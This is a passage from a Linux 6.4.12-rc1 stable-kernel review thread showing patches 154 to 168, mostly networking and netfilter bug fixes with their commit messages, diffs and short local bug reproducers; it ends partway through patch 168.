6.4.12-rc1 review
Subsystems (2)
Greg Kroah-Hartman
maintainerPATCH 154/234 net: veth: Page pool creation error handling for existing pools only
In reply to Greg Kroah-HartmanFrom: Liang Chen <[email protected]>
[ Upstream commit 8a519a572598b7c0c07b02f69bf5b4e8dd4b2d7d ]
The failure handling procedure destroys page pools for all queues, including those that haven't had their page pool created yet. this patch introduces necessary adjustments to prevent potential risks and inconsistency with the error handling behavior.
--- drivers/net/veth.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
drivers/net/veth.c +2 -1
@@ -1071,8 +1071,9 @@ static int __veth_napi_enable_range(struct net_device *dev, int start, int end) err_xdp_ring:for (i--; i >= start; i--)ptr_ring_cleanup (&priv->rq[i].xdp_ring, veth_ptr_free); + i = end; err_page_pool: -for (i = start; i < end; i++) { +for (i--; i >= start; i--) {page_pool_destroy (priv->rq[i].page_pool); priv->rq[i].page_pool =NULL ; }
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 155/234 accel/qaic: Fix slicing memory leak
In reply to Greg Kroah-HartmanFrom: Pranjal Ramajor Asha Kanojiya <[email protected]>
[ Upstream commit 2d956177b7c96e62fac762a3b7da4318cde27a73 ]
The temporary buffer storing slicing configuration data from user is only freed on error. This is a memory leak. Free the buffer unconditionally.
--- drivers/accel/qaic/qaic_data.c | 1 + 1 file changed, 1 insertion(+)
drivers/accel/qaic/qaic_data.c +1 -0
@@ -1021,6 +1021,7 @@ int qaic_attach_slice_bo_ioctl(struct drm_device *dev, void *data, struct drm_fi bo->dbc = dbc;srcu_read_unlock (&dbc->ch_lock, rcu_id);drm_gem_object_put (obj); +kfree (slice_ent);srcu_read_unlock (&qdev->dev_lock, qdev_rcu_id);srcu_read_unlock (&usr->qddev_lock, usr_rcu_id);
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 156/234 accel/qaic: Clean up integer overflow checking in map_user_pages()
In reply to Greg Kroah-HartmanFrom: Dan Carpenter <[email protected]>
[ Upstream commit 96d3c1cadedb6ae2e8965e19cd12caa244afbd9c ]
The encode_dma() function has some validation on in_trans->size but it would be more clear to move those checks to find_and_map_user_pages().
The encode_dma() had two checks:
if (in_trans->addr + in_trans->size < in_trans->addr || !in_trans->size) return -EINVAL;
The in_trans->addr variable is the starting address. The in_trans->size variable is the total size of the transfer. The transfer can occur in parts and the resources->xferred_dma_size tracks how many bytes we have already transferred.
This patch introduces a new variable "remaining" which represents the amount we want to transfer (in_trans->size) minus the amount we have already transferred (resources->xferred_dma_size).
I have modified the check for if in_trans->size is zero to instead check if in_trans->size is less than resources->xferred_dma_size. If we have already transferred more bytes than in_trans->size then there are negative bytes remaining which doesn't make sense. If there are zero bytes remaining to be copied, just return success.
The check in encode_dma() checked that "addr + size" could not overflow and barring a driver bug that should work, but it's easier to check if we do this in parts. First check that "in_trans->addr + resources->xferred_dma_size" is safe. Then check that "xfer_start_addr + remaining" is safe.
My final concern was that we are dealing with u64 values but on 32bit systems the kmalloc() function will truncate the sizes to 32 bits. So I calculated "total = in_trans->size + offset_in_page(xfer_start_addr);" and returned -EINVAL if it were >= SIZE_MAX. This will not affect 64bit systems.
--- drivers/accel/qaic/qaic_control.c | 26 ++++++++++++++++++-------- 1 file changed, 18 insertions(+), 8 deletions(-)
drivers/accel/qaic/qaic_control.c +18 -8
@@ -392,18 +392,31 @@ static int find_and_map_user_pages(struct qaic_device *qdev,struct qaic_manage_trans_dma_xfer *in_trans, struct ioctl_resources *resources, struct dma_xfer *xfer) { + u64 xfer_start_addr, remaining, end, total;unsigned long need_pages;struct page **page_list;unsigned long nr_pages;struct sg_table *sgt; -u64 xfer_start_addr;int ret;int i; - xfer_start_addr = in_trans->addr + resources->xferred_dma_size; +if (check_add_overflow (in_trans->addr, resources->xferred_dma_size, &xfer_start_addr)) +return -EINVAL ; - need_pages =DIV_ROUND_UP (in_trans->size +offset_in_page (xfer_start_addr) - - resources->xferred_dma_size,PAGE_SIZE ); +if (in_trans->size < resources->xferred_dma_size) +return -EINVAL ; + remaining = in_trans->size - resources->xferred_dma_size; +if (remaining ==0 ) +return 0 ; + +if (check_add_overflow (xfer_start_addr, remaining, &end)) +return -EINVAL ; + + total = remaining +offset_in_page (xfer_start_addr); +if (total >=SIZE_MAX ) +return -EINVAL ; + + need_pages =DIV_ROUND_UP (total,PAGE_SIZE ); nr_pages = need_pages;
@@ -435,7 +448,7 @@ static int find_and_map_user_pages(struct qaic_device *qdev, ret =sg_alloc_table_from_pages (sgt, page_list, nr_pages,offset_in_page (xfer_start_addr), - in_trans->size - resources->xferred_dma_size,GFP_KERNEL ); + remaining,GFP_KERNEL );if (ret) { ret = -ENOMEM ; goto free_sgt;
@@ -566,9 +579,6 @@ static int encode_dma(struct qaic_device *qdev, void *trans, struct wrapper_list QAIC_MANAGE_EXT_MSG_LENGTH)return -ENOMEM ; -if (in_trans->addr + in_trans->size < in_trans->addr || !in_trans->size) -return -EINVAL ; - xfer =kmalloc (sizeof (*xfer),GFP_KERNEL );if (!xfer)return -ENOMEM ;
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 157/234 netfilter: nf_tables: fix false-positive lockdep splat
In reply to Greg Kroah-HartmanFrom: Florian Westphal <[email protected]>
[ Upstream commit b9f052dc68f69dac89fe1e24693354c033daa091 ]
->abort invocation may cause splat on debug kernels:
WARNING: suspicious RCU usagenet/netfilter/nft_set_pipapo.c:1697 suspicious rcu_dereference_check() usage! [..]rcu_scheduler_active = 2, debug_locks = 1
1 lock held by nft/133554: [..] (nft_net->commit_mutex){+.+.}-{3:3}, at: nf_tables_valid_genid [..]
lockdep_rcu_suspicious+0x1ad/0x260 nft_pipapo_abort+0x145/0x180 __nf_tables_abort+0x5359/0x63d0 nf_tables_abort+0x24/0x40 nfnetlink_rcv+0x1a0a/0x22c0 netlink_unicast+0x73c/0x900 netlink_sendmsg+0x7f0/0xc20 ____sys_sendmsg+0x48d/0x760
Transaction mutex is held, so parallel updates are not possible. Switch to _protected and check mutex is held for lockdep enabled builds.
--- net/netfilter/nft_set_pipapo.c | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-)
net/netfilter/nft_set_pipapo.c +12 -1
@@ -1698,6 +1698,17 @@ static void nft_pipapo_commit(const struct nft_set *set) priv->clone = new_clone; } +static bool nft_pipapo_transaction_mutex_held (const struct nft_set *set) +{ +#ifdef CONFIG_PROVE_LOCKING +const struct net *net =read_pnet (&set->net); + +return lockdep_is_held (&nft_pernet (net)->commit_mutex); +#else +return true; +#endif +} +static void nft_pipapo_abort (const struct nft_set *set) {struct nft_pipapo *priv =nft_set_priv (set);
@@ -1706,7 +1717,7 @@ static void nft_pipapo_abort(const struct nft_set *set)if (!priv->dirty)return ; - m =rcu_dereference (priv->match); + m =rcu_dereference_protected (priv->match,nft_pipapo_transaction_mutex_held (set)); new_clone =pipapo_clone (m);if (IS_ERR (new_clone))
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 158/234 netfilter: nf_tables: deactivate catchall elements in next generation
In reply to Greg Kroah-HartmanFrom: Florian Westphal <[email protected]>
[ Upstream commit 90e5b3462efa37b8bba82d7c4e63683856e188af ]
When flushing, individual set elements are disabled in the next generation via the ->flush callback.
Catchall elements are not disabled. This is incorrect and may lead to double-deactivations of catchall elements which then results in memory leaks:
WARNING: CPU: 1 PID: 3300 at include/net/netfilter/nf_tables.h:1172 nft_map_deactivate+0x549/0x730 CPU: 1 PID: 3300 Comm: nft Not tainted 6.5.0-rc5+ #60 RIP: 0010:nft_map_deactivate+0x549/0x730 [..] ? nft_map_deactivate+0x549/0x730 nf_tables_delset+0xb66/0xeb0
(the warn is due to nft_use_dec() detecting underflow).
--- net/netfilter/nf_tables_api.c | 1 + 1 file changed, 1 insertion(+)
net/netfilter/nf_tables_api.c +1 -0
@@ -7088,6 +7088,7 @@ static int nft_set_catchall_flush(const struct nft_ctx *ctx, ret =__nft_set_catchall_flush (ctx, set, &elem);if (ret <0 )break ; +nft_set_elem_change_active (ctx->net, set, ext); }return ret;
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 159/234 netfilter: nf_tables: dont fail inserts if duplicate has expired
In reply to Greg Kroah-HartmanFrom: Florian Westphal <[email protected]>
[ Upstream commit 7845914f45f066497ac75b30c50dbc735e84e884 ]
nftables selftests fail:run-tests.sh testcases/sets/0044interval_overlap_0
Expected: 0-2 . 0-3, got:
W: [FAILED] ./testcases/sets/0044interval_overlap_0: got 1
Insertion must ignore duplicate but expired entries.
Moreover, there is a strange asymmetry in nft_pipapo_activate:
It refetches the current element, whereas the other ->activate callbacks (bitmap, hash, rhash, rbtree) use elem->priv.
Same for .remove: other set implementations take elem->priv, nft_pipapo_remove fetches elem->priv, then does a relookup, remove this.
I suspect this was the reason for the change that prompted the removal of the expired check in pipapo_get() in the first place, but skipping exired elements there makes no sense to me, this helper is used for normal get requests, insertions (duplicate check) and deactivate callback.
In first two cases expired elements must be skipped.
For ->deactivate(), this gets called for DELSETELEM, so it seems to me that expired elements should be skipped as well, i.e. delete request should fail with -ENOENT error.
--- net/netfilter/nft_set_pipapo.c | 23 ++++------------------- 1 file changed, 4 insertions(+), 19 deletions(-)
net/netfilter/nft_set_pipapo.c +4 -19
@@ -566,6 +566,8 @@ static struct nft_pipapo_elem *pipapo_get(const struct net *net, goto out;if (last) { +if (nft_set_elem_expired (&f->mt[b].e->ext)) + goto next_match;if ((genmask && !nft_set_elem_active (&f->mt[b].e->ext, genmask))) goto next_match;
@@ -600,17 +602,8 @@ static struct nft_pipapo_elem *pipapo_get(const struct net *net,static void *nft_pipapo_get (const struct net *net,const struct nft_set *set,const struct nft_set_elem *elem,unsigned int flags) { -struct nft_pipapo_elem *ret; - - ret =pipapo_get (net, set, (const u8 *)elem->key.val.data, +return pipapo_get (net, set, (const u8 *)elem->key.val.data,nft_genmask_cur (net)); -if (IS_ERR (ret)) -return ret; - -if (nft_set_elem_expired (&ret->ext)) -return ERR_PTR (-ENOENT ); - -return ret; }/**
@@ -1744,11 +1737,7 @@ static void nft_pipapo_activate(const struct net *net,const struct nft_set *set, const struct nft_set_elem *elem) { - struct nft_pipapo_elem *e; - - e =pipapo_get (net, set, (const u8 *)elem->key.val.data,0 ); -if (IS_ERR (e)) -return ; + struct nft_pipapo_elem *e = elem->priv;nft_set_elem_change_active (net, set, &e->ext); }
@@ -1962,10 +1951,6 @@ static void nft_pipapo_remove(const struct net *net, const struct nft_set *set, data = (const u8 *)nft_set_ext_key (&e->ext); - e =pipapo_get (net, set, data,0 ); -if (IS_ERR (e)) -return ; -while ((rules_f0 =pipapo_rules_same_key (m->f, first_rule))) {union nft_pipapo_map_bucket rulemap[NFT_PIPAPO_MAX_FIELDS ];const u8 *match_start, *match_end;
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 160/234 netfilter: set default timeout to 3 secs for sctp shutdown send and recv state
In reply to Greg Kroah-HartmanFrom: Xin Long <[email protected]>
[ Upstream commit 9bfab6d23a2865966a4f89a96536fbf23f83bc8c ]
In SCTP protocol, it is using the same timer (T2 timer) for SHUTDOWN and SHUTDOWN_ACK retransmission. However in sctp conntrack the default timeout value for SCTP_CONNTRACK_SHUTDOWN_ACK_SENT state is 3 secs while it's 300 msecs for SCTP_CONNTRACK_SHUTDOWN_SEND/RECV state.
As Paolo Valerio noticed, this might cause unwanted expiration of the ct entry. In my test, with 1s tc netem delay set on the NAT path, after the SHUTDOWN is sent, the sctp ct entry enters SCTP_CONNTRACK_SHUTDOWN_SEND state. However, due to 300ms (too short) delay, when the SHUTDOWN_ACK is sent back from the peer, the sctp ct entry has expired and been deleted, and then the SHUTDOWN_ACK has to be dropped.
Also, it is confusing these two sysctl options always show 0 due to all timeout values using sec as unit:
net.netfilter.nf_conntrack_sctp_timeout_shutdown_recd = 0 net.netfilter.nf_conntrack_sctp_timeout_shutdown_sent = 0
This patch fixes it by also using 3 secs for sctp shutdown send and recv state in sctp conntrack, which is also RTO.initial value in SCTP protocol.
Note that the very short time value for SCTP_CONNTRACK_SHUTDOWN_SEND/RECV was probably used for a rare scenario where SHUTDOWN is sent on 1st path but SHUTDOWN_ACK is replied on 2nd path, then a new connection started immediately on 1st path. So this patch also moves from SHUTDOWN_SEND/RECV to CLOSE when receiving INIT in the ORIGINAL direction.
--- Documentation/networking/nf_conntrack-sysctl.rst | 4 ++-- net/netfilter/nf_conntrack_proto_sctp.c | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-)
Documentation/networking/nf_conntrack-sysctl.rst +2 -2
@@ -178,10 +178,10 @@ nf_conntrack_sctp_timeout_established - INTEGER (seconds) Default is set to (hb_interval * path_max_retrans + rto_max) nf_conntrack_sctp_timeout_shutdown_sent - INTEGER (seconds) - default 0.3 + default 3 nf_conntrack_sctp_timeout_shutdown_recd - INTEGER (seconds) - default 0.3 + default 3 nf_conntrack_sctp_timeout_shutdown_ack_sent - INTEGER (seconds) default 3
net/netfilter/nf_conntrack_proto_sctp.c +3 -3
@@ -49,8 +49,8 @@ static const unsigned int sctp_timeouts[SCTP_CONNTRACK_MAX] = { [SCTP_CONNTRACK_COOKIE_WAIT] = 3 SECS, [SCTP_CONNTRACK_COOKIE_ECHOED] = 3 SECS, [SCTP_CONNTRACK_ESTABLISHED] = 210 SECS, - [SCTP_CONNTRACK_SHUTDOWN_SENT] = 300 SECS / 1000, - [SCTP_CONNTRACK_SHUTDOWN_RECD] = 300 SECS / 1000, + [SCTP_CONNTRACK_SHUTDOWN_SENT] = 3 SECS, + [SCTP_CONNTRACK_SHUTDOWN_RECD] = 3 SECS, [SCTP_CONNTRACK_SHUTDOWN_ACK_SENT] = 3 SECS, [SCTP_CONNTRACK_HEARTBEAT_SENT] = 30 SECS, };
@@ -105,7 +105,7 @@ static const u8 sctp_conntracks[2][11][SCTP_CONNTRACK_MAX] = { {/* ORIGINAL */ /* sNO, sCL, sCW, sCE, sES, sSS, sSR, sSA, sHS */ -/* init */ {sCL, sCL, sCW, sCE, sES, sSS, sSR, sSA, sCW}, +/* init */ {sCL, sCL, sCW, sCE, sES, sCL, sCL, sSA, sCW}, /* init_ack */ {sCL, sCL, sCW, sCE, sES, sSS, sSR, sSA, sCL}, /* abort */ {sCL, sCL, sCL, sCL, sCL, sCL, sCL, sCL, sCL}, /* shutdown */ {sCL, sCL, sCW, sCE, sSS, sSS, sSR, sSA, sCL},
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 161/234 ipvs: fix racy memcpy in proc_do_sync_threshold
In reply to Greg Kroah-HartmanFrom: Sishuai Gong <[email protected]>
[ Upstream commit 5310760af1d4fbea1452bfc77db5f9a680f7ae47 ]
When two threads run proc_do_sync_threshold() in parallel, data races could happen between the two memcpy():
Thread-1 Thread-2
memcpy(val, valp, sizeof(val)); memcpy(valp, val, sizeof(val));
This race might mess up the (struct ctl_table *) table->data, so we add a mutex lock to serialize them.
--- net/netfilter/ipvs/ip_vs_ctl.c | 4 ++++ 1 file changed, 4 insertions(+)
net/netfilter/ipvs/ip_vs_ctl.c +4 -0
@@ -1876,6 +1876,7 @@ static int proc_do_sync_threshold(struct ctl_table *table, int write, void *buffer, size_t *lenp, loff_t *ppos) { + struct netns_ipvs *ipvs = table->extra2;int *valp = table->data;int val[2 ];int rc;
@@ -1885,6 +1886,7 @@ proc_do_sync_threshold(struct ctl_table *table, int write, .mode = table->mode, }; +mutex_lock (&ipvs->sync_mutex);memcpy (val, valp,sizeof (val)); rc =proc_dointvec (&tmp, write, buffer, lenp, ppos);if (write) {
@@ -1894,6 +1896,7 @@ proc_do_sync_threshold(struct ctl_table *table, int write,else memcpy (valp, val,sizeof (val)); } +mutex_unlock (&ipvs->sync_mutex);return rc; }
@@ -4321,6 +4324,7 @@ static int __net_init ip_vs_control_net_init_sysctl(struct netns_ipvs *ipvs) ipvs->sysctl_sync_threshold[0 ] =DEFAULT_SYNC_THRESHOLD ; ipvs->sysctl_sync_threshold[1 ] =DEFAULT_SYNC_PERIOD ; tbl[idx].data = &ipvs->sysctl_sync_threshold; + tbl[idx].extra2 = ipvs; tbl[idx++].maxlen =sizeof (ipvs->sysctl_sync_threshold); ipvs->sysctl_sync_refresh_period =DEFAULT_SYNC_REFRESH_PERIOD ; tbl[idx++].data = &ipvs->sysctl_sync_refresh_period;
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 162/234 netfilter: nf_tables: fix GC transaction races with netns and netlink event exit path
In reply to Greg Kroah-HartmanFrom: Pablo Neira Ayuso <[email protected]>
[ Upstream commit 6a33d8b73dfac0a41f3877894b38082bd0c9a5bc ]
Netlink event path is missing a synchronization point with GC transactions. Add GC sequence number update to netns release path and netlink event path, any GC transaction losing race will be discarded.
--- net/netfilter/nf_tables_api.c | 36 +++++++++++++++++++++++++++++++---- 1 file changed, 32 insertions(+), 4 deletions(-)
net/netfilter/nf_tables_api.c +32 -4
@@ -9753,6 +9753,22 @@ static void nft_set_commit_update(struct list_head *set_update_list) } } +static unsigned int nft_gc_seq_begin (struct nftables_pernet *nft_net) +{ +unsigned int gc_seq; + +/* Bump gc counter, it becomes odd, this is the busy mark. */ + gc_seq =READ_ONCE (nft_net->gc_seq); +WRITE_ONCE (nft_net->gc_seq, ++gc_seq); + +return gc_seq; +} + +static void nft_gc_seq_end (struct nftables_pernet *nft_net,unsigned int gc_seq) +{ +WRITE_ONCE (nft_net->gc_seq, ++gc_seq); +} +static int nf_tables_commit (struct net *net,struct sk_buff *skb) {struct nftables_pernet *nft_net =nft_pernet (net);
@@ -9838,9 +9854,7 @@ static int nf_tables_commit(struct net *net, struct sk_buff *skb)WRITE_ONCE (nft_net->base_seq, base_seq); -/* Bump gc counter, it becomes odd, this is the busy mark. */ - gc_seq =READ_ONCE (nft_net->gc_seq); -WRITE_ONCE (nft_net->gc_seq, ++gc_seq); + gc_seq =nft_gc_seq_begin (nft_net);/* step 3. Start new generation, rules_gen_X now in use. */ net->nft.gencursor =nft_gencursor_next (net);
@@ -10050,7 +10064,7 @@ static int nf_tables_commit(struct net *net, struct sk_buff *skb)nf_tables_gen_notify (net, skb,NFT_MSG_NEWGEN );nf_tables_commit_audit_log (&adl, nft_net->base_seq); -WRITE_ONCE (nft_net->gc_seq, ++gc_seq); +nft_gc_seq_end (nft_net, gc_seq);nf_tables_commit_release (net);return 0 ;
@@ -11051,6 +11065,7 @@ static int nft_rcv_nl_event(struct notifier_block *this, unsigned long event,struct net *net = n->net;unsigned int deleted;bool restart = false; +unsigned int gc_seq;if (event !=NETLINK_URELEASE || n->protocol !=NETLINK_NETFILTER )return NOTIFY_DONE ;
@@ -11058,6 +11073,9 @@ static int nft_rcv_nl_event(struct notifier_block *this, unsigned long event, nft_net =nft_pernet (net); deleted =0 ;mutex_lock (&nft_net->commit_mutex); + + gc_seq =nft_gc_seq_begin (nft_net); +if (!list_empty (&nf_tables_destroy_list))rcu_barrier (); again:
@@ -11080,6 +11098,8 @@ static int nft_rcv_nl_event(struct notifier_block *this, unsigned long event,if (restart) goto again; } +nft_gc_seq_end (nft_net, gc_seq); +mutex_unlock (&nft_net->commit_mutex);return NOTIFY_DONE ;
@@ -11117,12 +11137,20 @@ static void __net_exit nf_tables_pre_exit_net(struct net *net) static void __net_exit nf_tables_exit_net(struct net *net) {struct nftables_pernet *nft_net =nft_pernet (net); +unsigned int gc_seq;mutex_lock (&nft_net->commit_mutex); + + gc_seq =nft_gc_seq_begin (nft_net); +if (!list_empty (&nft_net->commit_list) || !list_empty (&nft_net->module_list))__nf_tables_abort (net,NFNL_ABORT_NONE ); +__nft_release_tables (net); + +nft_gc_seq_end (nft_net, gc_seq); +mutex_unlock (&nft_net->commit_mutex);WARN_ON_ONCE (!list_empty (&nft_net->tables));WARN_ON_ONCE (!list_empty (&nft_net->module_list));
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 163/234 netfilter: nf_tables: GC transaction race with netns dismantle
In reply to Greg Kroah-HartmanFrom: Pablo Neira Ayuso <[email protected]>
[ Upstream commit 02c6c24402bf1c1e986899c14ba22a10b510916b ]
Use maybe_get_net() since GC workqueue might race with netns exit path.
--- net/netfilter/nf_tables_api.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-)
net/netfilter/nf_tables_api.c +6 -1
@@ -9495,9 +9495,14 @@ struct nft_trans_gc *nft_trans_gc_alloc(struct nft_set *set,if (!trans)return NULL ; + trans->net =maybe_get_net (net); +if (!trans->net) { +kfree (trans); +return NULL ; + } +refcount_inc (&set->refs); trans->set = set; - trans->net =get_net (net); trans->seq = gc_seq;return trans;
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 164/234 netfilter: nft_dynset: disallow object maps
In reply to Greg Kroah-HartmanFrom: Pablo Neira Ayuso <[email protected]>
[ Upstream commit 23185c6aed1ffb8fc44087880ba2767aba493779 ]
Do not allow to insert elements from datapath to objects maps.
--- net/netfilter/nft_dynset.c | 3 +++ 1 file changed, 3 insertions(+)
net/netfilter/nft_dynset.c +3 -0
@@ -191,6 +191,9 @@ static int nft_dynset_init(const struct nft_ctx *ctx,if (IS_ERR (set))return PTR_ERR (set); +if (set->flags &NFT_SET_OBJECT ) +return -EOPNOTSUPP ; +if (set->ops->update ==NULL )return -EOPNOTSUPP ;
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 165/234 net: phy: broadcom: stub c45 read/write for 54810
In reply to Greg Kroah-HartmanFrom: Justin Chen <[email protected]>
[ Upstream commit 096516d092d54604d590827d05b1022c8f326639 ]
The 54810 does not support c45. The mmd_phy_indirect accesses return arbirtary values leading to odd behavior like saying it supports EEE when it doesn't. We also see that reading/writing these non-existent MMD registers leads to phy instability in some cases.
--- drivers/net/phy/broadcom.c | 13 +++++++++++++ 1 file changed, 13 insertions(+)
drivers/net/phy/broadcom.c +13 -0
@@ -486,6 +486,17 @@ static int bcm54xx_resume(struct phy_device *phydev)return bcm54xx_config_init (phydev); } +static int bcm54810_read_mmd (struct phy_device *phydev,int devnum,u16 regnum) +{ +return -EOPNOTSUPP ; +} + +static int bcm54810_write_mmd (struct phy_device *phydev,int devnum,u16 regnum, +u16 val) +{ +return -EOPNOTSUPP ; +} +static int bcm54811_config_init (struct phy_device *phydev) {int err, reg;
@@ -981,6 +992,8 @@ static struct phy_driver broadcom_drivers[] = { .get_strings = bcm_phy_get_strings, .get_stats = bcm54xx_get_stats, .probe = bcm54xx_phy_probe, + .read_mmd = bcm54810_read_mmd, + .write_mmd = bcm54810_write_mmd, .config_init = bcm54xx_config_init, .config_aneg = bcm5481_config_aneg, .config_intr = bcm_phy_config_intr,
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 166/234 team: Fix incorrect deletion of ETH_P_8021AD protocol vid from slaves
In reply to Greg Kroah-HartmanFrom: Ziyang Xuan <[email protected]>
[ Upstream commit dafcbce07136d799edc4c67f04f9fd69ff1eac1f ]
Similar to commit 01f4fd270870 ("bonding: Fix incorrect deletion of ETH_P_8021AD protocol vid from slaves"), we can trigger BUG_ON(!vlan_info) in unregister_vlan_dev() with the following testcase:
# ip netns add ns1 # ip netns exec ns1 ip link add team1 type team # ip netns exec ns1 ip link add team_slave type veth peer veth2 # ip netns exec ns1 ip link set team_slave master team1 # ip netns exec ns1 ip link add link team_slave name team_slave.10 type vlan id 10 protocol 802.1ad # ip netns exec ns1 ip link add link team1 name team1.10 type vlan id 10 protocol 802.1ad # ip netns exec ns1 ip link set team_slave nomaster # ip netns del ns1
Add S-VLAN tag related features support to team driver. So the team driver will always propagate the VLAN info to its slaves.
--- drivers/net/team/team.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
drivers/net/team/team.c +3 -1
@@ -2200,7 +2200,9 @@ static void team_setup(struct net_device *dev) dev->hw_features =TEAM_VLAN_FEATURES |NETIF_F_HW_VLAN_CTAG_RX | -NETIF_F_HW_VLAN_CTAG_FILTER ; +NETIF_F_HW_VLAN_CTAG_FILTER | +NETIF_F_HW_VLAN_STAG_RX | +NETIF_F_HW_VLAN_STAG_FILTER ; dev->hw_features |=NETIF_F_GSO_ENCAP_ALL ; dev->features |= dev->hw_features;
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 167/234 net: openvswitch: reject negative ifindex
In reply to Greg Kroah-HartmanFrom: Jakub Kicinski <[email protected]>
[ Upstream commit a552bfa16bab4ce901ee721346a28c4e483f4066 ]
Recent changes in net-next (commit 759ab1edb56c ("net: store netdevs in an xarray")) refactored the handling of pre-assigned ifindexes and let syzbot surface a latent problem in ovs. ovs does not validate ifindex, making it possible to create netdev ports with negative ifindex values. It's easy to repro with YNL:
$ ./cli.py --spec netlink/specs/ovs_datapath.yaml \
--do new \
--json '{"upcall-pid": 1, "name":"my-dp"}'
$ ./cli.py --spec netlink/specs/ovs_vport.yaml \
--do new \
--json '{"upcall-pid": "00000001", "name": "some-port0", "dp-ifindex":3,"ifindex":4294901760,"type":2}'$ ip link show
-65536: some-port0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000
link/ether 7a:48:21:ad:0b:fb brd ff:ff:ff:ff:ff:ff
...Validate the inputs. Now the second command correctly returns:
$ ./cli.py --spec netlink/specs/ovs_vport.yaml \
--do new \
--json '{"upcall-pid": "00000001", "name": "some-port0", "dp-ifindex":3,"ifindex":4294901760,"type":2}'lib.ynl.NlError: Netlink error: Numerical result out of range nl_len = 108 (92) nl_flags = 0x300 nl_type = 2
error: -34 extack: {'msg': 'integer out of range', 'unknown': [[type:4 len:36] b'\x0c\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x03\x00\xff\xff\xff\x7f\x00\x00\x00\x00\x08\x00\x01\x00\x08\x00\x00\x00'], 'bad-attr': '.ifindex'}Accept 0 since it used to be silently ignored.
--- net/openvswitch/datapath.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)
net/openvswitch/datapath.c +4 -4
@@ -1829,7 +1829,7 @@ static int ovs_dp_cmd_new(struct sk_buff *skb, struct genl_info *info) parms.port_no =OVSP_LOCAL ; parms.upcall_portids = a[OVS_DP_ATTR_UPCALL_PID ]; parms.desired_ifindex = a[OVS_DP_ATTR_IFINDEX ] - ?nla_get_u32 (a[OVS_DP_ATTR_IFINDEX ]) :0 ; + ?nla_get_s32 (a[OVS_DP_ATTR_IFINDEX ]) :0 ;/* So far only local changes have been made, now need the lock. */ ovs_lock ();
@@ -2049,7 +2049,7 @@ static const struct nla_policy datapath_policy[OVS_DP_ATTR_MAX + 1] = { [OVS_DP_ATTR_USER_FEATURES] = { .type = NLA_U32 }, [OVS_DP_ATTR_MASKS_CACHE_SIZE ] =NLA_POLICY_RANGE (NLA_U32 ,0 , PCPU_MIN_UNIT_SIZE / sizeof(struct mask_cache_entry)), - [OVS_DP_ATTR_IFINDEX] = {.type = NLA_U32 }, + [OVS_DP_ATTR_IFINDEX] = NLA_POLICY_MIN(NLA_S32, 0), };static const struct genl_small_ops dp_datapath_genl_ops[] = {
@@ -2302,7 +2302,7 @@ static int ovs_vport_cmd_new(struct sk_buff *skb, struct genl_info *info) parms.port_no = port_no; parms.upcall_portids = a[OVS_VPORT_ATTR_UPCALL_PID ]; parms.desired_ifindex = a[OVS_VPORT_ATTR_IFINDEX ] - ?nla_get_u32 (a[OVS_VPORT_ATTR_IFINDEX ]) :0 ; + ?nla_get_s32 (a[OVS_VPORT_ATTR_IFINDEX ]) :0 ; vport =new_vport (&parms); err =PTR_ERR (vport);
@@ -2539,7 +2539,7 @@ static const struct nla_policy vport_policy[OVS_VPORT_ATTR_MAX + 1] = { [OVS_VPORT_ATTR_TYPE] = { .type = NLA_U32 }, [OVS_VPORT_ATTR_UPCALL_PID] = { .type = NLA_UNSPEC }, [OVS_VPORT_ATTR_OPTIONS] = { .type = NLA_NESTED }, - [OVS_VPORT_ATTR_IFINDEX] = { .type = NLA_U32 }, + [OVS_VPORT_ATTR_IFINDEX] = NLA_POLICY_MIN(NLA_S32, 0), [OVS_VPORT_ATTR_NETNSID] = { .type = NLA_S32 }, [OVS_VPORT_ATTR_UPCALL_STATS] = { .type = NLA_NESTED }, };
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 168/234 iavf: fix FDIR rule fields masks validation
In reply to Greg Kroah-HartmanFrom: Piotr Gardocki <[email protected]>
[ Upstream commit 751969e5b1196821ef78f0aa664a8a97c92c9057 ]
Return an error if a field's mask is neither full nor empty. When a mask is only partial the field is not being used for rule programming but it gives a wrong impression it is used. Fix by returning an error on any partial mask to make it clear they are not supported.
The ip_ver assignment is moved earlier in code to allow using it in iavf_validate_fdir_fltr_masks.
--- .../net/ethernet/intel/iavf/iavf_ethtool.c | 10 +++ drivers/net/ethernet/intel/iavf/iavf_fdir.c | 77 ++++++++++++++++++- drivers/net/ethernet/intel/iavf/iavf_fdir.h | 2 + 3 files changed, 85 insertions(+), 4 deletions(-)
drivers/net/ethernet/intel/iavf/iavf_ethtool.c +10 -0
@@ -1289,6 +1289,7 @@ iavf_add_fdir_fltr_info(struct iavf_adapter *adapter, struct ethtool_rx_flow_spe fltr->ip_mask.src_port = fsp->m_u.tcp_ip4_spec.psrc; fltr->ip_mask.dst_port = fsp->m_u.tcp_ip4_spec.pdst; fltr->ip_mask.tos = fsp->m_u.tcp_ip4_spec.tos; + fltr->ip_ver =4 ;break ;case AH_V4_FLOW :case ESP_V4_FLOW :
